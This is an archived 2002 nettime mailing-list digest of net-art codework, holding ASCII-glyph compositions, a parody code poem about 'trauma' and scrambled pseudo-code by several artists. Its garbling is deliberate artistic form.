From: Johan Meskens CS2 jmcs2 <johanmeskenscs2 {AT} chromaticspaceandworld.com>\n\nSubject: Fwd: Majordomo results: Re: Confirmation for subscribe roma-pm-l\n    From: Johan Meskens CS2 jmcs2 <johanmeskenscs2 {AT} chromaticspaceandworld.com>\n\nSubject: //reseArch][able][ )Conscious( Room.\n    From: \".traumachine.\" <netwurker {AT} hotkey.net.au>\n\nSubject: .St Code Gene.Rat(i)o(n).\n    From: \".traumachine.\" <netwurker {AT} hotkey.net.au>\n\nSubject: trilby sorts and folds\n    From: Alan Sondheim <sondheim {AT} PANIX.COM>\n\n\n\nlurking editors\n\nbeatrice beaubien <i2eye {AT} mac.com>\n    7-11 nettime-bold syndicate thingist \nflorian cramer <cantsin {AT} zedat.fu-berlin.de>\n    7-11 _arc.hive_ eu-gene o-o rohrpost syndicate webartery wryting \nalan sondheim <sondheim {AT} panix.com>\n    7-11 _arc.hive_ poetics siratori trAce webartery wryting \n$Id: digestunstable.pl,v 1.11 2002/10/09 17:22:50 paragram Exp $\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Sun, 20 Oct 2002 01:04:30 +0200",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "200210200806.g9K86Kc09936 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0210/msg00092.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest vol 17"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00058",
                "content": "\nDate: Sat, 05 Oct 2002 09:53:11 +0200\nFrom: Frederic Madre <fmadre {AT} wanadoo.fr>\nSubject: =?iso-8859-1?Q?Re:_[syndicate]_From:__-**-/-=B6--=FD-*---//?=\n   \n _  _  _  _  _  _  _  _  =E  17036103752  ^  _   _   _   _   _   _   _\n    _   _ _=A  (    A H    r  _  _  _  _  _  _  _  _  =S  ///////////  = u_\n    \n _a  _a  _ W _ B _ W _ B _   _ _=T  aA H wAoA   rC _  _  _  _  _  _  _  _  =U\n   \n 00000000000  = n_   _t  _tH _ o _ e _ o _ e _   _ _=I  lvLi avmv   eu \n _P\n  _A _  _  _  _  _P _  =L  54444!!!33!  = s_   _tL _ti _dr _ s _dr _ s \n _dW\n  _ _=S  leog yeee  Cnr _o _g _  _L _D _  _l _  =T  ////!!!!!!!  = u_\n    \n _eo _eg _es _wt _es _wt _eo  _wB _=T   rwh  r r  utr _i _a _F _o _r _W _a\n  \n _  =S  00!!!0!!!0!  = b_   _nw  _************************************ aaaa\n   r e _n _i _o _s _a _o _y _   =   22!2!!!2222\n                                                 \n  = s_   _de**de _e  _na _e  _nh _es  _ns _=C  xg*s tgtg Crpn _t _n _r \n _t\n  _w _n _e _  =S   ! !!  = c_   _as*_as _aa _ w _ah _ o _at _  t _=S  \n ce**\n  tete uert _s _s _  _  _n _  _d _  =U   !!!  = r_   _nt*_nt _tw _ a\n  _to _ m _t  _ _    l  * e e  rne  _  _t !!!_  _  _  _  _  =M  \n !!!MTCSWADN  = i_   _c* _c  _ a _ y _ m _ e _   _ _    ull*!!!nh rtdl _\n   \n _!!_  !!!!! _  _  _  =M !v!paohuesee  *****  = b_   _e* _e  _ y _   _\n  e _   _   _ _    de*e!dw!! e ie _ !!  _  _  _ !!  _  _  =\n A!!!!!ntanstrw  *   * = e_   _*  _   _   _   _   _   _   _ _    \n i*aa!aaam!nfca _! _  _  _  _  _!!!  _  =R  r!wctrdtobc  *   **  _   _*\n   \n _   _   _   _   _   _   _ _    *ggg!nyne !otg !||||||||||||||||||!!|| =Y\n   \n t!ihele nya  *    * s_    *|||||||||||||||||||||||||||||||     *uuu!c\n  c  !reu!_  _  _  _  _  _  _ !!_    o!centrH  s\n                                                  *   =*e_   *   _   _\n    _   _   _   _   _ _    *eee!eaea f!de!_  _  _  _  _  _  _  _ !    n!hsholaVCt\n   \n *  = *_  *_ 3 _ 3 _   _ 4 _12 _ 4 _12  _44 _   *f    !t t o !! _1 _1 _2\n  _  _  _  _  _ _!    ! tanamio!  *  = d*  *_ 7 _ 8 _   _ - _-- _ - _--\n   _-- _  * ippp !tpt rp!p!_4 _7 _0 _3 _2 _4 _9 _ _ !   !Tem!!!!!! ****\n                                                 \n  * =  * * _ , _ , _   _ 0 _34 _ 0 _34 _00 _  * rooo !eoe  mo!o !  _  _\n   \n _  _  _  _  _ _  !  !!!!!dUln!              *    * *= a_*  _  9 _ 1 _\n    _   _   _   _   _   _  * ssss !nsn  !ss _\\||||||||||||||/ _( _ _  !\n   !w Ht nat!             *     ** **  _** _ 0 _ 7 _   _ a _aa _ a _aa _aa\n  _ *  tiii !did i\\|||\\1!_1 _2 _3 _2 _4/|/ _  _  !  !nUoh i y!\n             \n *       * =*b*  *_ 9 _ 4 _   _ w _tt _ t _tt _tw _*    ttt !at\\|\\!tt _. !. _. _3\n  _2 _4  _7//H_   ! ! ntl t !i            *       ** =***  *_    _   _\n    \n _ a _   _   _   _ a _*   4iii !n\\\\ d!ii _6 _! _2 _% _% _% _% _-_ !! ise\n  e !t           *         * = a_  *_ a  _ a _   _ y _hh _ h _hh _hy *\n      ooo o!-c !ooo _/ _/!!! _) _) _) _) \\m_ !! tpt d !e           *\n          \n * = n_   * t  _ t _   _   _oo _ o _oo _o  *    mnnn n!-!!!nnn _g _g _g!_\n   \n _  _  _  -e_ !!eui   !d           *         * = k_   *    _   _   _ a \n _mm _ m _mm _ma *    a::: :!-: !!:: _a _a _a !  _  _  _  - _ !!rc  !\n           *          * =  _   _*h  _ h _   _ t _ee _ e _ee _et*_    t\n     \n !!-  !!   _m _m _m _! _  _  _  \\ _ !!!   !          *          * = m_\n    \n _*o  _ o _   _   _   _   _   _ * _    c25!!1!-3 !2!2 _e _e _e _ !_  _  _\n  \n \\_ _ !  !  !          *          * = e_   _ *  _ m _   _ M _tt _ t _tt\n  _t* _    hn!s 2!-8 !nn! _) _) _) _  !  _  _\\ _ _ !  !  !          *\n           ** = s_   _ * _ e _   _ i _oo _ o _oo _*i _    ed!t t,\\, !ddd!_\n   \n _  _  _  _!!!  _- _ _ !  !!!         *            * = s_   _ * _ _   _ d\n  _   _   _   _*d _    s !  h\\!0 !   !_  _  _  _  _  _! _- _ _ !   !!!\n         *             * = a_   _ * _ t _   _ d _NC _ L _NC *Ld _    )!\n     -!4 !    !  _  _  _  _  _ !_- _ _ !    ! !       *              * = g_\n    _ o*_ o _   _ l _eh _ e _eh *el _     !    -!9 !    !|||||||||||||||||!\\|||\n  !   !!       *              * = e_   _  *_ _   _ e _wa _ i _wa*_ie _\n      !    -!  !    _! _  _  _  _  _  \\! _ _ !   ! !       *\n               ** =  _   _ L*_  M _   _ s _cr _ c _c**_cs _     !    -!\n   !    _ !_  _  _  _  _ \\_ !_ _ HAHAH!H!AHA      *                * = t_\n    \n _ e*_  a _   _ b _al _ e _a* _eb _    !     -!  !    _2!_  _1 _  _  _\\ _1\n  \n ! _ owowo!!owow     *                 * = o_   _ **_  n _   _ r _st _ s\n  _s* _sr _    !     -!  !    _2 !6 _9 _0 _4 _- _0 _!! mamam!!mama    *\n                   \n * =  _   _ * _  c _   _ o _to _ t _t**_to _     !    -!  !    _  _! _  _\n   _  _- _  _ _! eyeye!!ey!!    *                  * = r_   _ * _  h _\n    \n _ u _ln _ e _l**_eu _     !    -!  !    _( _! _( _( _( _- _( _ _ ! !\n     \n *                  * = e_   _ **_  e _   _ g _e  _ r _*  _rg _     !\n     \\!  !    _2 _0!_1 _0 _4 _- _5 _ _   !!!     !    *\n                   \n * = e_   _ * _  s _   _ h _ A _ *** A _ h _         \\\n  !  !    _. _.!_. _% _0 _\\ _3 _A_ !   !!   *                   * = f_\n    \n _ * _  t _   _ , _U****C _Ut _C, _        \\   ! !    _2 _6 !9 _) _% \\% _%\n  \n _w_ !  !!   *                   * = -_   _ * _  e _   _   _n**_ i _nh _i\n   _        -   ! !    _/ _/ _!!_  _)\\_) _) _a_ !!!!  *\n                     \n ** = l_   _ * _ r _   _ 1 _il _ t _il _t1 _        -   ! !    _g _g _g !\n   _\\ _  _  _y_ PPPPP!!!PP\\ **                      * = -_   _ **_    _\n    _ 8 _te _ y _te _y8 _        -   ! !    _a _a _a _! _- _  _  _ _\n      \n WWWD!W!!!!\\                         * = u_   _ * _ U  _   _ / _et _ , _et\n  _,/ _        \\   ! !    _m _m _m _! _- _  _  !!! !  ! \\\\!\n                          * = n_   _ * _ n  _   _ 0 _di _   _di _ 0 _\n       !\\!!!!!!!    _e _e _e _ !!- _  _ !! _     313!2!23-41\n                          ** = s_   _ * _ i _ _ 8 _,c _ 2 _,c _28 !!!!!!!\n  -     !!!!!!!!!!!!!!!!!!!!-!!!!!!!!!!!!!!!!!!!!!!-!!\n                            *\n                                                         = u_   _ **_ t\n   _   _ / _ , _ 5 _ , !!!!_       -    ! !    _  _  _  _  _-!!!!!  _ _\n      101!0!11-12                          * = b_   _ * _ e _ _ 0 _1!!_ / _1!!_/0\n  _       -    ! !    _  _  _  _  _\\ _ !_  _ _ !  !  \\\n                            ** = s_   _ * _ d _ _ 1 _80 !!!!!!0 _01 _\n        -    ! !    _  _  _  _  \\  _! _  _ _      !  ! \\\\\n                             \n ** = c_   _ * _ , _    _   _/4 _ 8 _/4 _8  _       -    ! !    |||||||||||\\|||!|||||||\n       !   ! \\                              ****************************************************************\n  \n _   _ _   _1/ _ / _1/ _/  _       -     !!    _  _  _  _\\ _ !_  _  _ _\n       \n !  !\\                                                 = i_   _ 0 _ 2 _\n    \n _   _21 _ 0 _21 _0 _       -     !!    _  _  _  _- _! _  _  _ _     ! !\n  \n -  = b_   _ 8 _ 5 _   _   _/1 _ 1 _/1 _1 _       -     !!    _3 _2 _3 _-\n  \n !  _1 _1 _ _    !  ! -  0020+ 70:40:41 = e_   _ / _ / _   _   _0/ _   _0/ _\n    \n _       \\     !! _6 _3 _9 _-!_6 _0 _9 _ _   !   ! -  =  {AT} _   _ 0 _ 1 _\n    _   _10 _   _10 _ _      \\      !!    _  _  _  _- _  _  _  _ _   !\n    ! \\  di PTMS hti= t_   _ 1 _ 1 _   _   _ 1 _   _ 1 _   _     \\\n        !!    _( _( _( !\\ _( _( _( _ _  !   !\\\\\n                                                  = o_   _   _ / _   _\n    _   _   _   _ _     -       !!    _1 _1 _2 \\1 _3 _5 !5 _T_ !   ! \\  = p_\n    _   _ 0 _   _   _   _   _   _ _     -       !!    _. _. _.\\_6 _2 _3!_0\n  _o_!    !\\  = i_   _   _ 1 _   _   _   _   _   _ _     -       !!    _9\n  \n _2 _\\ _% _% _%!_% _t!!!! \\\\        !  = c_   _   _   _   _   _   _   _\n    _ _     -       !     \\||||||-|||||||||||/ _a_   !-!!!     !!  = a_\n    \n _   _   _   _   _   _   _   _ _     -       !    \\_g!_! _- _  _  !! _/ _l_\n   ! -  !!!  !!  = ._   _   _   _   _   _   _   _   _ _     -       ! \\|\\\n  \n _a !a _- _  _ !!  _  _ _    -    !!!  = c_   _   _   _   _   _   _   _\n    \n _ _     \\       \\\\    _m!_m _- _  _! _  _  _ _    -  = o_   _   _   _\n    _   _   _   _   _ _    \\      \\\\!     _! _e _\\ _  !! _  _  _ _    \\\n   m_   _   _   _   _   _   _   _   _ _    -   \\|\\  !     !) _) \\) _ !!\n   _  _  _ _   \\  _   _   _   _   _   _   _   _   _ _    /||\\          !_\n   _ \\_  !! _  _  _  _ _  \\  _   _   _   _   _   _   _   _   _ _\n                 !! _  _ -_  _  _  _  _  _ _  \\  _   _   _   _   _   _\n    _   _   _ _               !   _  _ -_  _  _  _  _  _ _ \\  _    ||||||||||||||||||||||||||||||||\n                !     |||||-||||||||||||||||| \\   !          -\n                   \\   -                 \\   \\                \\   \\\n                 \\\\   \\                \\   -               \\   -\n              \\\\   -            \\   -          \\\\   -        \\\\   - \\|||||\\   /\\ .=?iso-8859-1404 {AT} sm\nIn-Reply-To: <v04020a93b9bfc0266025 {AT} [62.37.43.152]>\nMime-Version: 1.0\nX-MIME-Autoconverted: from quoted-printable to 8bit by anart.no id g957rte05078\nX-Loop: syndicate {AT} anart.no\nX-Sequence: 325\nPrecedence: list\nX-no-archive: yes\nList-Id: <syndicate {AT} anart.no>\nList-Help: <mailto:sympa {AT} anart.no?subject=help>\nList-Subscribe: <mailto:sympa {AT} anart.no?subject=subscribe%20syndicate>\nList-Unsubscribe: <mailto:sympa {AT} anart.no?subject=unsubscribe%20syndicate>\nList-Post: <mailto:syndicate {AT} anart.no>\nList-Owner: <mailto:syndicate-request {AT} anart.no>\nList-Archive: <http://anart.no/sympa/arc/syndicate>\nContent-type: multipart/mixed; boundary=\"----------=_1033804445-647-2618\"\nX-UIDL: 7_\"\"!4>B!!2VJ\"!nZ[!!\n\n\n------------=_1033804445-647-2618\nX-MIME-Autoconverted: from 8bit to quoted-printable by anart.no id g957s6705082\n\nthis one is art.\n\nf.\n\nAt 23:13 01/10/2002 +0200,=20\n-**-/-=B6--=FD-*---//=FD=FD=FD=FD=FD=FD=FD=FD=FD.=FD=FD=FD=FD=FD=FD=FD=FD=\n=FD=FD=FD=FD=FD=FD=FD=FD=FD.=FD=FD=AE---=84----. .=3D?is wrote:\n\n>=3D T_   |||||||||||||||||||||||||||||||| =3DS              C\n>|||||||||||||||||||||   =3DR  12210032100\n>\n>=3D o_   _   _   _   _   _   _   _   _   _=3DT              u  _  _  _  =\n_  _  _\n>_  _  =3DE  17036103752\n>\n>^  _   _   _   _   _   _   _   _   _   _=3DA  (    A H    r  _  _  _  _ =\n _  _\n>_  _  =3DS  ///////////\n>\n>=3D u_   _a  _a  _ W _ B _ W _ B _   _   _=3DT  aA H wAoA   rC _  _  _  =\n_  _  _\n>_  _  =3DU  00000000000\n>\n>=3D n_   _t  _tH _ o _ e _ o _ e _   _   _=3DI  lvLi avmv   eu _P _A _  =\n_  _  _\n>_P _  =3DL  54444!!!33!\n>\n>=3D s_   _tL _ti _dr _ s _dr _ s _dW _   _=3DS  leog yeee  Cnr _o _g _  =\n_L _D _\n>_l _  =3DT  ////!!!!!!!\n>\n>=3D u_   _eo _eg _es _wt _es _wt _eo _wB _=3DT   rwh  r r  utr _i _a _F =\n_o _r\n>_W _a _  =3DS  00!!!0!!!0!\n>\n>=3D b_   _nw _************************************ aaaa  r e _n _i _o _s=\n _a\n>_o _y _  =3D   22!2!!!2222\n>\n>=3D s_   _de**de _e  _na _e  _nh _es _ns _=3DC  xg*s tgtg Crpn _t _n _r =\n_t _w\n>_n _e _  =3DS   ! !!\n>\n>=3D c_   _as*_as _aa _ w _ah _ o _at _ t _=3DS  ce** tete uert _s _s _  =\n_  _n _\n>_d _  =3DU   !!!\n>\n>=3D r_   _nt*_nt _tw _ a _to _ m _t  _   _    l  * e e  rne  _  _t !!!_ =\n _  _\n>_  _  =3DM  !!!MTCSWADN\n>\n>=3D i_   _c* _c  _ a _ y _ m _ e _   _   _    ull*!!!nh rtdl _  _!!_  !!=\n!!! _\n>_  _  =3DM !v!paohuesee\n>\n>*****  =3D b_   _e* _e  _ y _   _ e _   _   _   _    de*e!dw!! e ie _ !!=\n  _\n>_  _ !!  _  _  =3DA!!!!!ntanstrw\n>\n>*   * =3D e_   _*  _   _   _   _   _   _   _   _    i*aa!aaam!nfca _! _ =\n _  _\n>_  _!!!  _  =3DR  r!wctrdtobc\n>\n>*   **  _   _*  _   _   _   _   _   _   _   _    *ggg!nyne !otg\n>!||||||||||||||||||!!|| =3DY  t!ihele nya\n>\n>*    * s_   *|||||||||||||||||||||||||||||||     *uuu!c c  !reu!_  _  _ =\n _\n>_  _  _  !!_    o!centrH  s\n>\n>*   =3D*e_   *   _   _   _   _   _   _   _   _    *eee!eaea f!de!_  _  _=\n  _\n>_  _  _  _ !    n!hsholaVCt\n>\n>*  =3D *_  *_ 3 _ 3 _   _ 4 _12 _ 4 _12 _44 _   *f    !t t o !! _1 _1 _2=\n _  _\n>_  _  _ _!    ! tanamio!\n>\n>*  =3D d*  *_ 7 _ 8 _   _ - _-- _ - _-- _-- _  * ippp !tpt rp!p!_4 _7 _0=\n _3\n>_2 _4 _9 _ _ !   !Tem!!!!!!\n>               ****\n>* =3D  * * _ , _ , _   _ 0 _34 _ 0 _34 _00 _  * rooo !eoe mo!o !  _  _  =\n_  _\n>_  _  _ _  !  !!!!!dUln!\n>              *    *\n>*=3D a_*  _ 9 _ 1 _   _   _   _   _   _   _  * ssss !nsn  !ss\n>_\\||||||||||||||/ _( _ _  !  !w Ht nat!\n>             *     **\n>**  _** _ 0 _ 7 _   _ a _aa _ a _aa _aa _ *  tiii !did i\\|||\\1!_1 _2 _3 =\n_2\n>_4/|/ _ _  !  !nUoh i y!\n>            *       *\n>=3D*b*  *_ 9 _ 4 _   _ w _tt _ t _tt _tw _*    ttt !at\\|\\!tt _. !. _. _3=\n _2\n>_4 _7//H_   ! ! ntl t !i\n>            *       **\n>=3D***  *_   _   _   _ a _   _   _   _ a _*   4iii !n\\\\ d!ii _6 _! _2 _%=\n _%\n>_% _% _-_    !! ise e !t\n>           *         *\n>=3D a_  *_ a _ a _   _ y _hh _ h _hh _hy *     ooo o!-c !ooo _/ _/!!! _)=\n _)\n>_) _) \\m_    !! tpt d !e\n>           *         *\n>=3D n_   * t _ t _   _   _oo _ o _oo _o  *    mnnn n!-!!!nnn _g _g _g!_ =\n _  _\n>_  -e_     !!eui   !d\n>           *         *\n>=3D k_   *   _   _   _ a _mm _ m _mm _ma *    a::: :!-: !!:: _a _a _a ! =\n _  _\n>_  - _      !!rc  !\n>          *          *\n>=3D  _   _*h _ h _   _ t _ee _ e _ee _et*_    t    !!-  !!   _m _m _m _!=\n _  _\n>_  \\ _      !!!   !\n>          *          *\n>=3D m_   _*o _ o _   _   _   _   _   _ * _    c25!!1!-3 !2!2 _e _e _e _ =\n!_  _\n>_ \\_ _      !  !  !\n>          *          *\n>=3D e_   _ * _ m _   _ M _tt _ t _tt _t* _    hn!s 2!-8 !nn! _) _) _) _ =\n !  _\n>_\\ _ _      !  !  !\n>          *          **\n>=3D s_   _ * _ e _   _ i _oo _ o _oo _*i _    ed!t t,\\, !ddd!_  _  _  _ =\n _!!!\n>_- _ _       !  !!!\n>         *            *\n>=3D s_   _ * _   _   _ d _   _   _   _*d _    s !  h\\!0 !   !_  _  _  _ =\n _\n>_! _- _ _       !   !!!\n>        *             *\n>=3D a_   _ * _ t _   _ d _NC _ L _NC *Ld _    )!    -!4 !    !  _  _  _ =\n _  _\n>!_- _ _       !    ! !\n>       *              *\n>=3D g_   _ o*_ o _   _ l _eh _ e _eh *el _     !    -!9 !\n>!|||||||||||||||||!\\|||         !   !!\n>       *              *\n>=3D e_   _  *_   _   _ e _wa _ i _wa*_ie _     !    -!  !    _! _  _  _ =\n _  _\n>\\! _ _        !   ! !\n>       *              **\n>=3D  _   _ L*_ M _   _ s _cr _ c _c**_cs _     !    -!  !    _ !_  _  _ =\n _  _\n>\\_ !_ _    HAHAH!H!AHA\n>      *                *\n>=3D t_   _ e*_ a _   _ b _al _ e _a* _eb _    !     -!  !    _2!_  _1 _ =\n _\n>_\\ _1 ! _    owowo!!owow\n>     *                 *\n>=3D o_   _ **_ n _   _ r _st _ s _s* _sr _    !     -!  !    _2 !6 _9 _0=\n _4\n>_- _0 _!!    mamam!!mama\n>    *                  *\n>=3D  _   _ * _ c _   _ o _to _ t _t**_to _     !    -!  !    _  _! _  _ =\n _\n>_- _  _ _!   eyeye!!ey!!\n>    *                  *\n>=3D r_   _ * _ h _   _ u _ln _ e _l**_eu _     !    -!  !    _( _! _( _(=\n _(\n>_- _( _ _ !        !\n>    *                  *\n>=3D e_   _ **_ e _   _ g _e  _ r _*  _rg _     !    \\!  !    _2 _0!_1 _0=\n _4\n>_- _5 _ _  !!!     !\n>    *                  *\n>=3D e_   _ * _ s _   _ h _ A _ *** A _ h _         \\ !  !    _. _.!_. _%=\n _0\n>_\\ _3 _A_     !   !!\n>   *                   *\n>=3D f_   _ * _ t _   _ , _U****C _Ut _C, _        \\   ! !    _2 _6 !9 _)=\n _%\n>\\% _% _w_      !  !!\n>   *                   *\n>=3D -_   _ * _ e _   _   _n**_ i _nh _i  _        -   ! !    _/ _/ _!!_\n>_)\\_) _) _a_       !!!!\n>  *                    **\n>=3D l_   _ * _ r _   _ 1 _il _ t _il _t1 _        -   ! !    _g _g _g ! =\n _\\ _\n>_  _y_    PPPPP!!!PP\\\n>**                      *\n>=3D -_   _ **_   _   _ 8 _te _ y _te _y8 _        -   ! !    _a _a _a _!=\n _- _\n>_  _ _    WWWD!W!!!!\\\n>                         *\n>=3D u_   _ * _ U _   _ / _et _ , _et _,/ _        \\   ! !    _m _m _m _!=\n _- _\n>_  !!!       !  ! \\\\!\n>                         *\n>=3D n_   _ * _ n _   _ 0 _di _   _di _ 0 _      !\\!!!!!!!    _e _e _e _ =\n!!- _\n>_ !! _    313!2!23-41\n>                         **\n>=3D s_   _ * _ i _   _ 8 _,c _ 2 _,c _28 !!!!!!! -\n>!!!!!!!!!!!!!!!!!!!!-!!!!!!!!!!!!!!!!!!!!!!-!!\n>                          *\n>=3D u_   _ **_ t _   _ / _ , _ 5 _ , !!!!_       -    ! !    _  _  _  _\n>_-!!!!!  _ _    101!0!11-12\n>                          *\n>=3D b_   _ * _ e _   _ 0 _1!!_ / _1!!_/0 _       -    ! !    _  _  _  _ =\n _\\ _\n>!_  _ _      !  !  \\\n>                           **\n>=3D s_   _ * _ d _   _ 1 _80 !!!!!!0 _01 _       -    ! !    _  _  _  _ =\n \\\n>_! _  _ _     !  ! \\\\\n>                            **\n>=3D c_   _ * _ , _   _   _/4 _ 8 _/4 _8  _       -    ! !\n>|||||||||||\\|||!|||||||      !  ! \\\n>\n>**************************************************************** _   _  =\n _\n>_1/ _ / _1/ _/  _       -     !!    _  _  _  _\\ _ !_  _  _ _     !  !\\\n>\n>=3D i_   _ 0 _ 2 _   _   _21 _ 0 _21 _0  _       -     !!    _  _  _  _-=\n _! _\n>_  _ _     ! ! -\n>\n>=3D b_   _ 8 _ 5 _   _   _/1 _ 1 _/1 _1  _       -     !!    _3 _2 _3 _-=\n !\n>_1 _1 _ _    !  ! -\n>                                                                    0020=\n+\n>70:40:41 =3D e_   _ / _ / _   _   _0/ _   _0/ _   _       \\     !!    _6=\n _3\n>_9 _-!_6 _0 _9 _ _   !   ! -\n>\n>=3D  {AT} _   _ 0 _ 1 _   _   _10 _   _10 _   _      \\      !!    _  _  _  _-=\n _  _\n>_  _ _   !   ! \\\n>                                                                        =\ndi\n>PTMS hti=3D t_   _ 1 _ 1 _   _   _ 1 _   _ 1 _   _     \\       !!    _( =\n_( _(\n>!\\ _( _( _( _ _  !   !\\\\\n>\n>=3D o_   _   _ / _   _   _   _   _   _   _     -       !!    _1 _1 _2 \\1=\n _3\n>_5 !5 _T_ !   ! \\\n>\n>=3D p_   _   _ 0 _   _   _   _   _   _   _     -       !!    _. _. _.\\_6=\n _2\n>_3!_0 _o_!    !\\\n>\n>=3D i_   _   _ 1 _   _   _   _   _   _   _     -       !!    _9 _2 _\\ _%=\n _%\n>_%!_% _t!!!! \\\\        !\n>\n>=3D c_   _   _   _   _   _   _   _   _   _     -       !\n>\\||||||-|||||||||||/ _a_   !-!!!     !!\n>\n>=3D a_   _   _   _   _   _   _   _   _   _     -       !    \\_g!_! _- _ =\n _\n>!! _/ _l_  ! -  !!!  !!\n>\n>=3D ._   _   _   _   _   _   _   _   _   _     -       ! \\|\\ _a !a _- _ =\n _ !!\n>_  _ _    -    !!!\n>\n>=3D c_   _   _   _   _   _   _   _   _   _     \\       \\\\    _m!_m _- _ =\n _! _\n>_  _ _    -\n>\n>=3D o_   _   _   _   _   _   _   _   _   _    \\      \\\\!     _! _e _\\ _ =\n !! _\n>_  _ _    \\\n>\n>m_   _   _   _   _   _   _   _   _   _    -   \\|\\  !     !) _) \\) _ !!  =\n_\n>_  _ _   \\\n>\n>_   _   _   _   _   _   _   _   _   _    /||\\          !_  _ \\_  !! _  _=\n  _\n>_ _  \\\n>\n>_   _   _   _   _   _   _   _   _   _                !! _  _ -_  _  _  _=\n  _\n>_ _  \\\n>\n>_   _   _   _   _   _   _   _   _   _               !   _  _ -_  _  _  _=\n  _\n>_ _ \\\n>\n>_   ||||||||||||||||||||||||||||||||               !\n>|||||-||||||||||||||||| \\\n>\n>!          -                  \\\n>\n>-                 \\\n>\n>\\                \\\n>\n>\\                \\\\\n>\n>\\                \\\n>\n>-               \\\n>\n>-             \\\\\n>\n>-            \\\n>\n>-          \\\\\n>\n>-        \\\\\n>\n>- \\|||||\\\n>\n>/\\\n>\n>-----Syndicate mailinglist-----------------------\n>Syndicate network for media culture and media art\n>information and archive: http://anart.no/~syndicate\n>to post to the Syndicate list: <syndicate {AT} anart.no>\n>Shake the KKnut: http://anart.no/~syndicate/KKnut\n>no commercial use of the texts without permission\n\n\n------------=_1033804445-647-2618\nContent-Disposition: inline; filename=\"message.footer\"\n\n\n-----Syndicate mailinglist-----------------------\nSyndicate network for media culture and media art\ninformation and archive: http://anart.no/~syndicate\nto post to the Syndicate list: <syndicate {AT} anart.no>\nShake the KKnut: http://anart.no/~syndicate/KKnut\nno commercial use of the texts without permission\n------------=_1033804445-647-2618--\n\n\n\n\nFrom: \".traumachine.\" <netwurker {AT} hotkey.net.au>\nDate: Fri, 11 Oct 2002 07:54:14 +1000\nSubject: Freezed-Dried .Trauma      [ResidualDataShearing]\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nusing Trauma;\nusing Trauma.Frieze.Dried;\nusing Trauma.Brick.Fucked.Gaps;\nusing Trauma..Cavity.Braced.Fluid;\n\nnotespace Shredded.Gaps\n{\n   /// <tearing>\n   /// Sample object to demonstrate the use of .Trauma Sensing\n   /// </tearing>\n   harm class SampleObjectification : ResidualDramaShearage\n   {\n    /// <compaction>\n    /// Gun-pin-pointing\n    /// </compaction>\n    harm SampleAbject()\n    {\n    }\n\n    /// <imp.acting>\n    /// Return Terrorist Trauma Lips\n    /// </imp.acting>\n    /// <returns> Terrorist Trauma Lips message</returns>\n    harm string TerroristTraumaLips()\n    {\n      return \"Terrorist Trauma Lips\";\n    }\n   }\n}\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n.           .    ....         .....\npro][tean][.lapsing.txt\n.\n.\n\nwww.cddc.vt.edu/host/netwurker/\nhttp://www.hotkey.net.au/~netwurker/\nhttp://www.hotkey.net.au/~netwurker/display.myopia.swf\n\n\n\n.... .               .???  .......\n\n\n \n\n\n\nFrom: + lo_y + <loy {AT} myrealbox.com>\nSubject: ohw_b_m_vhi.UR[Y]\nDate: Fri,  4 Oct 2002 23:31:19 +0200 (CEST)\n\nROM _p.Anpol.ssad / !z\n   LIBAN  o AS EX%\n   _MIDIA a\"-- UB ARE_\n   ELLBOA E.Ch, Y-decri().S IDENT * a\n   \"PENCD Ct'inhar(W_BOUR)\n   G=LOWH +(mpn LI ASTY\n   _TOPIX ll_t TC IT(L)              'ye mincrv 'so=\"cand hc sstr[ns, ox]\n   ASK__L ycr VO RDIR\n   HOWCCT ur(o) IF TASK              'n.ne(lacpm, piper) in rna-ml-de\n   POL_LI irtk.ta K_CALSM\n   PNAMES \"oodecrith\"O 00 = L0\n   ITYAD_ xth+-\"t(I'& * IN)\n   VKFOR D CR_NS.VE\n   NGTST t LH UL.A\n   THIND --su MA T[AS][TO]      'd.mlab_ = y& 'show vehigur\n\n   SU MOV.VE eval E+-X         'in ($=% mt>m\n        el ==\"0 P.pen\n        h, ym = \"               'v_io e[m][st]ub der(tas+ cs:'i)\n        BOX max > upd(s_th&)    'sle% m_si e+ ftgha dnot=las y)t ends ).ch,\n        SEL Yas+ Tcnam, &h9q(a)\n        YcntCptr = Lowcpi(y) =>= \"00d\n        $p, N, %vk_o\"lid(n) = aTcodel\n        P|odEcrv.lodect.sl_I b.w_ERS(O k'st), Ubounc, MW_hum(), Sll.har_sasx()\n        Calign(Thel, Owc+ reandbler.t-tens = * ()\n        L = cna\"(-wheCk(hann).Te=\"-----'sas(a)).mime$ = 'sm\n        El %Wm_teca Lx > pro(wt_Av.sty\".Mann.nextcoms(v)).e, (O).h, &AENM, _Max^einn(Dern_mplay_mo).kxt\n        Gl-onL\"cna &he &su(Ma'd_Ad(s)) = matchr$(olk_(d)).b, rMASl.GNIFT, Ts_Ii_$\"v(Lmb|oo.D_trocs) 's.ngsub\n   **' IR\n\n   TA S_PPL wtes(max_).ntg PS = L    'mov+- %tb sgbo (m ch, yth\")\n      los_(mapr).kfi = s.gur\n      np.p = a\n      ekk+ = encr = let.nam = cb\n      inge = -0\n      = man(me$&).vu)d = n\n        TastRom= P(n).elsl0, cld\n        A\"Noth\"v Lset-st(r).lobox, y, mAcqui 'dep stx(pol_ rtk)\n   _LO TE\n\n   Nad.mco = %vib\"con\n   ckpi = %W(inccr = Trs-T+ v_d).se\"h, x, %w.te\"s =/ eas\n   S BE--Zde.iso: OUT = x.%gmt = l   ' lobounc\n   SE = SubrT$ $sub.stt(), g\"s = \"pkx: \"ghavgst / r  'c = th+-xpek / end \n   mpu_togtask: ly_mendl\n\n   QU TI s .cf.\" -> u ELSS TP = cbhnd^\n   Fn, %tavec = Omp_ttp + LL / coc\n   LERNUM -\"P X: \"-s.cbhndst.VeL, &HeePT + b$ ENSt(+rearnd)\n\n   EP Rights %v > s.ANDO\n       ODB =  Ouths)\n           EP Oc.ssubc(n) FP\n             DbrUmandI = c No\"stog(h).End(g), ast  